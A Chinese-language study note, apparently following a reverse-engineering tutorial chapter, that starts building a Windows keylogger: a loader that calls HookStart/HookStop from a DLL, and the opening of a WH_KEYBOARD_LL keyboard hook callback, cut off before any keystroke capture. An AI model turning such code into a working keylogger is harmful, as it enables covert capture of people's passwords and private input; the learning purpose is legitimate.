教程这一章没给具体的实现,这里在Chapter21学习的基础上,试着实现一个键盘记录器。
键盘记录器实现
这里有个技术问题:记录下的敲击键(在KeyHook.dll
中捕获的)(可以用wParam)怎么打印出来(在HookMain.exe中)?
第一种:记录在本地文件。这种实现比较简单。
第二种:与HookMain.exe通信。这种可以学到更多Windows编程知识。
这里实现第二种:
通信实现键盘记录
HookMain.cpp:
#include<iostream>
#include<Windows.h>
#define LOAD_DLL "KeyHook.dll"
typedef void(*func)(); // 函数指针
signed main() {
HMODULE hDll = NULL;
func HookStart = NULL;
func HookStop = NULL;
char ch = 0;
hDll = LoadLibraryA(LOAD_DLL);
HookStart = (func)GetProcAddress(hDll, "HookStart");
HookStop = (func)GetProcAddress(hDll, "HookStop");
HookStart();
HookStop();
FreeLibrary(hDll);
return 0;
}
KeyHook.cpp
要注意使用WH_KEYBOARD_LL
!
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include<windows.h>
#include<stdio.h>
#include<iostream>
#include<conio.h>
using namespace std;
HINSTANCE hInstance = NULL;
HHOOK hHook = NULL;
HWND hWnd = NULL;
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: // 进程创建时调用
hInstance = hModule;
break;
case DLL_PROCESS_DETACH: // 进程结束时调用
break;
}
return TRUE;
}
LRESULT CALLBACK keyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
KBDLLHOOKSTRUCT* ks = (KBDLLHOOKSTRUCT*)lParam